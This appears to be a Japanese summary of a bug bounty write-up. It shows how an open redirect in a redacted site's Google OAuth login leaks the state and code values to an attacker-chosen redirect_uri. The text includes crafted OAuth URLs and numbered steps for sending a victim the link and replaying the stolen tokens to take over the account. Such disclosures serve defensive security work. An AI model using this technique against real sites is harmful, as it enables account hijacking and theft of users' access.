Hello there, ('ω')ノ
オープンリダイレクトによる完全なアカウント乗っ取りを。
脆弱性:
オープンリダイレクト
トークン漏洩
アカウント乗っ取り
OAuth
記事:
https://medium.com/@vflexo/full-account-takeover-via-open-redirection-41c167db46
Google O-auth でこのオープン リダイレクトの脆弱性を見つけたので、
それをさらに悪用できるかどうかを確認することに。
サイト名は明かさないので、サイト名を redacted.com として。
O-auth URL は次のようになり。
https://redacted.com/login?action=login&state=29f16a7e5c6f2b9970450b14a30f59d4&scope=&response_type=code&approval_prompt=auto&redirect_uri=https://app.redacted.com/auth/oauthCallback&client_id=4jivia3ebm9mbpcj22i2n29pdi
redirect_uri パラメータに https://tinder.com を挿入して。
https://redacted.com/login?action=login&state=29f16a7e5c6f2b9970450b14a30f59d4&scope=&response_type=code&approval_prompt=auto&redirect_uri=https://tinder.com/auth/oauthCallback&client_id=4jivia3ebm9mbpcj22i2n29pdi
次に、このリンクをロードし、ブラウザから Google アカウントを選択して
Google 経由でログインしましたが、ログインプロセスが完了すると、
tinder.com にリダイレクトされて。
また、state パラメータと code パラメータとその値も tinder.com に送信され。
上のスクリーンショットでそれがはっきりとわかり。
ここで、同じオープン リダイレクトを再度実行しましたが、
今回は各リクエストをインターセプトし、監視してから転送し。
このプロセス中に、次のようなリンクを見つけて。
Burp Suiteのインターセプトからこのリンクをコピーし、
別のブラウザに貼り付けてログインして。
上記の state パラメータと code パラメータに、Google SSO 経由でユーザを
ログインさせる 2 つのトークンがあることが確認され。
これら 2 つのトークンは、O-auth プロセスが完了し、Google がこれらの
トークンの形でゴーサインを出すと、Google アカウント用に取得されて。
トークンを盗んで URL に追加すると、次のようになり。
上記をクリックしてリンクを開くと、これらの O-auth トークンが属していた人の
アカウントにログインして。
トークンを盗む方法:
1.redirect_uri パラメータに攻撃者サイトを指定して URL を被害者に配信して。
2.被害者が Google でサインインすると、攻撃者が管理する Attackersite.com で
トークンが受信され。
攻撃者が被害者のトークンを取得したら、それらのトークン
(stateパラメータとcodeパラメータ値) を次の URL に入れるだけで。
https://app.redacted.com/auth/oauthCallback?state=VALUE1&code=VALUE2
そして、この URL をロードすると、被害者のアカウントにログインされ、
完全なアカウント乗っ取りが行われて。
Best regards, (^^ゞ